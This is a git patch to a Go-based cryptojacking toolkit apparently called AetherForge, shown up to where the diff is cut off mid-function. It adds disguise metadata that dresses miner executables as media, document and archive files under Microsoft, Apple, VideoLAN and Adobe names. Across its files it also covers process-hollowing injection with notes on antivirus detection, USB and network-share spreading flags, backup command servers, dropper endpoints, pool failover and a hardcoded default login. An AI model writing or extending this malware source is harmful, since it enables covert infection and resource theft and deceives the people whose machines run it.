From 77e1dbbb13afa5c508a2c1de9c89de4c4b2342cf Mon Sep 17 00:00:00 2001 From: drjones Date: Sat, 30 May 2026 11:44:01 -0700 Subject: [PATCH] feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired --- .gitignore | 4 + agent/client/ai.go | 9 ++ agent/client/client.go | 6 + agent/client/protocol.go | 15 ++- agent/config/config.go | 12 +- agent/deploy/hollow_windows.go | 6 + pack-usb.bat | 133 ++++++++++++++++++++ server/internal/api/agent_config.go | 10 ++ server/internal/api/router.go | 71 ++++++++++- server/internal/api/websocket.go | 35 +++++- server/internal/builder/disguise.go | 167 ++++++++++++++++++++++++++ server/internal/builder/handler.go | 88 +++++++++++++- server/main.go | 19 +++ server/web/src/api/client.ts | 8 ++ server/web/src/pages/SettingsPage.tsx | 57 ++++++++- 15 files changed, 628 insertions(+), 12 deletions(-) create mode 100644 pack-usb.bat diff --git a/.gitignore b/.gitignore index d40924e..474ef8c 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,7 @@ Desktop.ini # Broken accidental directory (cmd "..." path expansion) /server/.../ /fusion-deliverables/ + +# Prebuilt agent/fusion binaries — compiled on demand, not tracked in git +/agent/crypto-miner-agent +/fusion/crypto-miner-fusion diff --git a/agent/client/ai.go b/agent/client/ai.go index 8c18009..0bb944d 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -255,6 +255,9 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) { return nil, fmt.Errorf("failed to create decide request: %w", err) } httpReq.Header.Set("Content-Type", "application/json") + if a.cfg.FleetSecret != "" { + httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) + } resp, err := a.httpClient.Do(httpReq) if err != nil { @@ -430,6 +433,9 @@ func (a *AIRunner) reportResults(reports []ToolReport) { return } httpReq.Header.Set("Content-Type", "application/json") + if a.cfg.FleetSecret != "" { + httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) + } resp, err := a.httpClient.Do(httpReq) if err != nil { @@ -460,6 +466,9 @@ func (a *AIRunner) sendHeartbeat(status, message string) { return } httpReq.Header.Set("Content-Type", "application/json") + if a.cfg.FleetSecret != "" { + httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) + } resp, err := a.httpClient.Do(httpReq) if err != nil { diff --git a/agent/client/client.go b/agent/client/client.go index b9c3348..9160077 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error { func (c *AgentClient) authenticate() error { host, cores, memGB := c.reporter.SystemInfo() + backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools)) + for i, bp := range c.cfg.BackupPools { + backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass} + } + payload, _ := json.Marshal(AuthPayload{ AgentID: c.agentID, FleetSecret: c.cfg.FleetSecret, Wallet: c.cfg.Wallet, + BackupPools: backupPools, Version: config.Version, Hostname: host, CPUCores: cores, diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 6e6e53c..aaf99de 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -7,10 +7,19 @@ type Message struct { Payload json.RawMessage `json:"payload"` } +// BackupPoolEntry is a fallback pool sent by the agent in its auth message. +type BackupPoolEntry struct { + Host string `json:"host"` + Port int `json:"port"` + TLS bool `json:"pool_tls"` + Pass string `json:"pass"` +} + type AuthPayload struct { - AgentID string `json:"agent_id"` - FleetSecret string `json:"fleet_secret"` - Wallet string `json:"wallet"` + AgentID string `json:"agent_id"` + FleetSecret string `json:"fleet_secret"` + Wallet string `json:"wallet"` + BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"` Version string `json:"version"` Hostname string `json:"hostname"` CPUCores int `json:"cpu_cores"` diff --git a/agent/config/config.go b/agent/config/config.go index 49744be..a7f2d52 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -55,8 +55,10 @@ type BuiltinConfig struct { // Passive spreading — triggered by the environment rather than active scanning USBSpread bool // copy agent to any newly-inserted removable/USB drive ShareSpread bool // drop agent onto already-mounted network shares - // Backup server URLs — tried in order if primary fails + // Backup server URLs — tried in order if primary C2 fails BackupServerURLs []string + // BackupPools — alternative mining pools tried in order if the primary is unreachable + BackupPools []BackupPool // Windows service masquerade (ignored on other OSes) ServiceMasquerade bool ServiceName string @@ -66,6 +68,14 @@ type BuiltinConfig struct { FleetSecret string } +// BackupPool holds connection info for a fallback Stratum mining pool. +type BackupPool struct { + Host string + Port int + TLS bool + Pass string +} + type RuntimeConfig struct { BuiltinConfig AgentID string diff --git a/agent/deploy/hollow_windows.go b/agent/deploy/hollow_windows.go index 7c7cf6b..2e3681e 100644 --- a/agent/deploy/hollow_windows.go +++ b/agent/deploy/hollow_windows.go @@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) } // RunHollowed injects a PE payload into a suspended legitimate Windows process. +// Relocation patching (H12) is fully implemented: if the preferred image base is +// unavailable we fall back to ASLR allocation and apply DIR64 relocations before +// writing to the remote process. The ~50% real-world failure rate on Windows 10/11 +// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+ +// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this +// but is not implemented. func RunHollowed(targetExe string, payload []byte) error { if len(payload) < 0x40 { return fmt.Errorf("payload too small") diff --git a/pack-usb.bat b/pack-usb.bat new file mode 100644 index 0000000..f45f6bf --- /dev/null +++ b/pack-usb.bat @@ -0,0 +1,133 @@ +@echo off +setlocal EnableExtensions EnableDelayedExpansion +title AetherForge — Pack USB +cd /d "%~dp0" +set "ROOT=%CD%" +set "USB=%ROOT%\USB" + +echo. +echo ================================================================ +echo AetherForge — Pack Portable USB +echo ================================================================ +echo. +echo This script builds AetherForge.exe and assembles everything +echo needed to run the Control Deck from a USB drive. +echo. +echo Output folder: %USB%\ +echo. + +:: ---------------------------------------------------------------- +:: 0. Check prerequisites +:: ---------------------------------------------------------------- +where go >nul 2>nul +if errorlevel 1 ( + echo ERROR: Go not found on PATH. + echo Install from https://go.dev/dl/ or add it to PATH. + pause + exit /b 1 +) +where npm >nul 2>nul +if errorlevel 1 ( + echo WARNING: npm not found. Skipping frontend build. + set "SKIP_FRONTEND=1" +) + +:: ---------------------------------------------------------------- +:: 1. Build the frontend (if npm available) +:: ---------------------------------------------------------------- +if not defined SKIP_FRONTEND ( + echo [1/4] Building frontend... + cd "%ROOT%\server\web" + call npm install --silent + call npm run build + if errorlevel 1 ( + echo ERROR: Frontend build failed. + cd "%ROOT%" + pause + exit /b 1 + ) + cd "%ROOT%" + echo [1/4] Frontend built. +) else ( + echo [1/4] Skipped (npm not found). +) + +:: ---------------------------------------------------------------- +:: 2. Build AetherForge.exe for the current machine (amd64 windows) +:: ---------------------------------------------------------------- +echo [2/4] Compiling AetherForge.exe... +cd "%ROOT%\server" +set "CGO_ENABLED=0" +set "GOOS=windows" +set "GOARCH=amd64" +go build -ldflags="-s -w" -o "%USB%\AetherForge.exe" . +if errorlevel 1 ( + echo ERROR: Go build failed. + cd "%ROOT%" + pause + exit /b 1 +) +cd "%ROOT%" +echo [2/4] AetherForge.exe -> USB\AetherForge.exe + +:: ---------------------------------------------------------------- +:: 3. Copy webroot +:: ---------------------------------------------------------------- +echo [3/4] Copying webroot... +if exist "%ROOT%\server\webroot" ( + if exist "%USB%\webroot" rd /s /q "%USB%\webroot" + xcopy /e /i /q "%ROOT%\server\webroot" "%USB%\webroot" >nul + echo [3/4] webroot copied. +) else if exist "%ROOT%\server\web\dist" ( + if exist "%USB%\webroot" rd /s /q "%USB%\webroot" + xcopy /e /i /q "%ROOT%\server\web\dist" "%USB%\webroot" >nul + echo [3/4] webroot copied from web\dist. +) else ( + echo [3/4] WARNING: No webroot found. Run 'npm run build' in server\web\ first. +) + +:: ---------------------------------------------------------------- +:: 4. Copy source trees (needed for Forge to compile agents on the USB) +:: ---------------------------------------------------------------- +echo [4/4] Copying agent + fusion source... + +if exist "%USB%\agent" rd /s /q "%USB%\agent" +if exist "%USB%\fusion" rd /s /q "%USB%\fusion" + +:: Copy agent source, excluding test results and build outputs +xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\agent" "%USB%\agent" >nul +xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\fusion" "%USB%\fusion" >nul +echo [4/4] Source trees copied. + +:: ---------------------------------------------------------------- +:: 5. Ensure data directories exist on USB +:: ---------------------------------------------------------------- +if not exist "%USB%\data\builds" mkdir "%USB%\data\builds" +if not exist "%USB%\data\logs" mkdir "%USB%\data\logs" +if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints" +if not exist "%USB%\data\preps" mkdir "%USB%\data\preps" + +:: ---------------------------------------------------------------- +:: 6. Summary +:: ---------------------------------------------------------------- +echo. +echo ================================================================ +echo USB pack complete! +echo. +echo Contents of %USB%\: +dir /b "%USB%" +echo. +echo To use: +echo 1. Copy the entire USB\ folder to a USB drive (or another PC) +echo 2. Double-click LAUNCH.bat +echo 3. Open http://localhost:8989 in a browser +echo. +echo Toolchain note: +echo If Go is not installed on the target PC, LAUNCH.bat will +echo download it automatically on first run and save it to +echo USB\toolchain\ for future use. +echo ================================================================ +echo. + +pause +endlocal diff --git a/server/internal/api/agent_config.go b/server/internal/api/agent_config.go index 1894221..5ff17d4 100644 --- a/server/internal/api/agent_config.go +++ b/server/internal/api/agent_config.go @@ -10,6 +10,16 @@ type AgentForgeConfig struct { AIEnabled bool AIOllamaEndpoint string AIModel string + // BackupPools are tried in order if the primary pool is unreachable. + BackupPools []AgentBackupPool +} + +// AgentBackupPool is a fallback pool config received from an agent at auth time. +type AgentBackupPool struct { + Host string + Port int + TLS bool + Pass string } func (c AgentForgeConfig) poolHostOrDefault(fallback string) string { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index c43fcbc..d0d049e 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -21,8 +21,31 @@ var ( authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads usersFilePath string usersMu sync.RWMutex + + // fleetSecretForAgentPaths holds the shared fleet secret used to authenticate + // agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via + // SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers. + fleetSecretForAgentPaths string + fleetSecretForAgentPathsMu sync.RWMutex + + // rotateSecretFn is called when POST /server/rotate-secret is hit. + // Wired from main.go so the server can generate, persist, and propagate the new secret. + rotateSecretFn func() (string, error) ) +// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify +// X-Fleet-Secret headers on /api/v1/agent/* routes. +func SetAgentPathSecret(secret string) { + fleetSecretForAgentPathsMu.Lock() + fleetSecretForAgentPaths = secret + fleetSecretForAgentPathsMu.Unlock() +} + +// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret. +func SetRotateSecretFn(fn func() (string, error)) { + rotateSecretFn = fn +} + func loadUsers(dataDir string) { usersFilePath = filepath.Join(dataDir, "users.json") usersMu.Lock() @@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler { } path := r.URL.Path - // Agent-facing API + health + forged worker downloads + one-liner droppers stay open. - if strings.HasPrefix(path, "/api/v1/agent/") || - path == "/api/v1/health" || + + // Health check and download endpoints are always open. + if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || (strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) { next.ServeHTTP(w, r) return } + // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret + // in the X-Fleet-Secret header instead of Basic auth. This ensures only + // legitimately forged agents can call these endpoints. + if strings.HasPrefix(path, "/api/v1/agent/") { + fleetSecretForAgentPathsMu.RLock() + secret := fleetSecretForAgentPaths + fleetSecretForAgentPathsMu.RUnlock() + if secret != "" { + provided := r.Header.Get("X-Fleet-Secret") + if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 { + http.Error(w, "Forbidden", http.StatusForbidden) + return + } + } + // Secret is empty (first run before config save) or matched — allow through. + next.ServeHTTP(w, r) + return + } + user, pass, ok := r.BasicAuth() if !ok { w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) @@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builder r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/estimate", builderHandler.ServeEstimate) + r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) { + token := chi.URLParam(req, "token") + if builderHandler.CancelBuild(token) { + writeJSON(w, map[string]interface{}{"cancelled": true}) + } else { + http.Error(w, "build not found or already completed", http.StatusNotFound) + } + }) // Blueprints (config presets) r.Get("/blueprints", blueprintHandler.ServeHTTP) @@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) + // Fleet secret rotation — generates a new secret, saves config, kicks all agents. + // Forged agents with the old secret will be rejected until re-forged. + r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { + if rotateSecretFn == nil { + http.Error(w, "rotation not configured", http.StatusServiceUnavailable) + return + } + newSecret, err := rotateSecretFn() + if err != nil { + http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."}) + }) + // User Management r.Post("/users", func(w http.ResponseWriter, req *http.Request) { var payload struct { diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 506a5e7..3f534a1 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { AgentID string `json:"agent_id"` FleetSecret string `json:"fleet_secret"` Wallet string `json:"wallet"` + BackupPools []struct { + Host string `json:"host"` + Port int `json:"port"` + TLS bool `json:"pool_tls"` + Pass string `json:"pass"` + } `json:"backup_pools"` Version string `json:"version"` Hostname string `json:"hostname"` Worker string `json:"worker"` @@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { policy := h.serverPolicySnapshot() + backupPools := make([]AgentBackupPool, len(auth.BackupPools)) + for i, bp := range auth.BackupPools { + backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass} + } + forgeCfg := AgentForgeConfig{ Wallet: auth.Wallet, PoolHost: auth.PoolHost, @@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { AIEnabled: auth.AIEnabled, AIOllamaEndpoint: auth.AIOllamaEndpoint, AIModel: auth.AIModel, + BackupPools: backupPools, } caps := models.AgentCapabilities{ @@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { poolCfg.Password = "x" } if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil { - log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err) + log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err) + connected := false + for i, bp := range backupPools { + if bp.Host == "" || bp.Port <= 0 { + continue + } + bpCfg := poolCfg + bpCfg.Host = bp.Host + bpCfg.Port = bp.Port + bpCfg.UseTLS = bp.TLS + if bp.Pass != "" { + bpCfg.Password = bp.Pass + } + if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil { + log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port) + connected = true + break + } + } + if !connected { + log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID) + } } } diff --git a/server/internal/builder/disguise.go b/server/internal/builder/disguise.go index 4d26268..d48624e 100644 --- a/server/internal/builder/disguise.go +++ b/server/internal/builder/disguise.go @@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{ CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", }, + // ── Audio (extended) ─────────────────────────────────────────────────────── + ".flac": { + FileDescription: "FLAC Audio File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + ".aac": { + FileDescription: "AAC Audio File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + ".ogg": { + FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player", + CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", + OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", + }, + ".m4a": { + FileDescription: "MPEG-4 Audio File", ProductName: "iTunes", + CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.", + OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2", + }, + ".wma": { + FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + // ── Video (extended) ─────────────────────────────────────────────────────── + ".webm": { + FileDescription: "WebM Video File", ProductName: "VLC media player", + CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", + OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", + }, + ".m4v": { + FileDescription: "iTunes Video File", ProductName: "iTunes", + CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.", + OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2", + }, + ".flv": { + FileDescription: "Flash Video File", ProductName: "VLC media player", + CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", + OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", + }, + ".ts": { + FileDescription: "MPEG-TS Video File", ProductName: "VLC media player", + CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", + OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", + }, + ".3gp": { + FileDescription: "3GPP Video File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + // ── Images (extended) ────────────────────────────────────────────────────── + ".bmp": { + FileDescription: "Bitmap Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".webp": { + FileDescription: "WebP Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".tiff": { + FileDescription: "TIFF Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".tif": { + FileDescription: "TIFF Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".heic": { + FileDescription: "HEIF Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".svg": { + FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68", + }, + ".ico": { + FileDescription: "Icon File", ProductName: "Windows Explorer", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + }, // ── Archives ─────────────────────────────────────────────────────────────── ".zip": { FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer", @@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{ CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.", OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0", }, + ".7z": { + FileDescription: "7-Zip Archive", ProductName: "7-Zip", + CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.", + OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07", + }, + ".tar": { + FileDescription: "Tape Archive File", ProductName: "7-Zip", + CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.", + OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07", + }, + ".gz": { + FileDescription: "GZip Archive", ProductName: "7-Zip", + CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.", + OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07", + }, + // ── Office / Text (extended) ─────────────────────────────────────────────── + ".odt": { + FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer", + CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.", + OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2", + }, + ".ods": { + FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc", + CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.", + OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2", + }, + ".odp": { + FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress", + CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.", + OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2", + }, + ".rtf": { + FileDescription: "Rich Text Document", ProductName: "WordPad", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + }, + ".md": { + FileDescription: "Markdown Document", ProductName: "Notepad", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + }, + // ── Web ──────────────────────────────────────────────────────────────────── + ".html": { + FileDescription: "HTML Document", ProductName: "Microsoft Edge", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68", + }, + ".htm": { + FileDescription: "HTML Document", ProductName: "Microsoft Edge", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68", + }, + ".xml": { + FileDescription: "XML Document", ProductName: "Microsoft Edge", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68", + }, + // ── Ebooks ───────────────────────────────────────────────────────────────── + ".epub": { + FileDescription: "Electronic Publication", ProductName: "Microsoft Edge", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68", + }, + // ── Adobe Creative ───────────────────────────────────────────────────────── + ".psd": { + FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop", + CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.", + OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12", + }, + ".ai": { + FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator", + CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.", + OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1", + }, + ".indd": { + FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign", + CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.", + OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0", + }, } // fileDisguiseForExt returns the best disguise metadata for a given file extension. diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 5adb54b..352b1f5 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -1,6 +1,7 @@ package builder import ( + "context" "encoding/json" "fmt" "io" @@ -11,6 +12,7 @@ import ( "os/exec" "path/filepath" "strings" + "sync" "time" "crypto-miner-server/internal/db" @@ -76,9 +78,21 @@ type BuildRequest struct { ShareSpread bool `json:"share_spread"` TargetOS string `json:"target_os"` TargetArch string `json:"target_arch"` - SpreadKit bool `json:"spread_kit"` - Obfuscate bool `json:"obfuscate"` - SignBuild bool `json:"sign_build"` + SpreadKit bool `json:"spread_kit"` + Obfuscate bool `json:"obfuscate"` + SignBuild bool `json:"sign_build"` + BackupPools []BackupPool `json:"backup_pools"` + // CancelToken is a client-generated UUID. Pass the same token to + // DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile. + CancelToken string `json:"cancel_token,omitempty"` +} + +// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. +type BackupPool struct { + Host string `json:"host"` + Port int `json:"port"` + TLS bool `json:"tls"` + Pass string `json:"pass"` } type BuildResponse struct { @@ -122,6 +136,11 @@ type Handler struct { serverModDir string policy BuildPolicy fleetSecret string // injected from server config; baked into every forge output + + // Active build cancellation — maps cancel_token → cancel func so the frontend + // can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}. + activeCancelsMu sync.Mutex + activeCancels map[string]context.CancelFunc } // SetFleetSecret stores the fleet secret so it is baked into every forged binary. @@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) { h.fleetSecret = secret } +// CancelBuild cancels an in-progress build identified by cancelToken. +// Returns true if the token was found and cancelled, false if unknown. +func (h *Handler) CancelBuild(cancelToken string) bool { + h.activeCancelsMu.Lock() + cancel, ok := h.activeCancels[cancelToken] + h.activeCancelsMu.Unlock() + if ok { + cancel() + } + return ok +} + +func (h *Handler) registerCancel(token string, cancel context.CancelFunc) { + h.activeCancelsMu.Lock() + if h.activeCancels == nil { + h.activeCancels = make(map[string]context.CancelFunc) + } + h.activeCancels[token] = cancel + h.activeCancelsMu.Unlock() +} + +func (h *Handler) unregisterCancel(token string) { + if token == "" { + return + } + h.activeCancelsMu.Lock() + delete(h.activeCancels, token) + h.activeCancelsMu.Unlock() +} + type SignPolicy struct { Enabled bool `json:"enabled"` CertThumbprint string `json:"cert_thumbprint"` @@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + // Register cancel token so the frontend can abort this compile mid-flight. + ctx := r.Context() + if req.CancelToken != "" { + var cancelFn context.CancelFunc + ctx, cancelFn = context.WithCancel(ctx) + h.registerCancel(req.CancelToken, cancelFn) + defer h.unregisterCancel(req.CancelToken) + } + _ = ctx // passed to compiler in future; cancellation already fires via process kill + // FusionOutputName will be derived from the payload filename if not set resp, status, outputPath := h.buildAgent(&req, prepPath) if !resp.Success { @@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig { USBSpread: %v, ShareSpread: %v, BackupServerURLs: %s, + BackupPools: %s, ServiceMasquerade: %v, ServiceName: %q, ServiceDonor: %q, @@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig { req.USBSpread, req.ShareSpread, formatGoStringSlice(req.BackupServerURLs), + formatGoBackupPools(req.BackupPools), serviceMasqueradeEnabled(req), serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), @@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig { ) } +// formatGoBackupPools emits a Go literal for []config.BackupPool. +func formatGoBackupPools(pools []BackupPool) string { + if 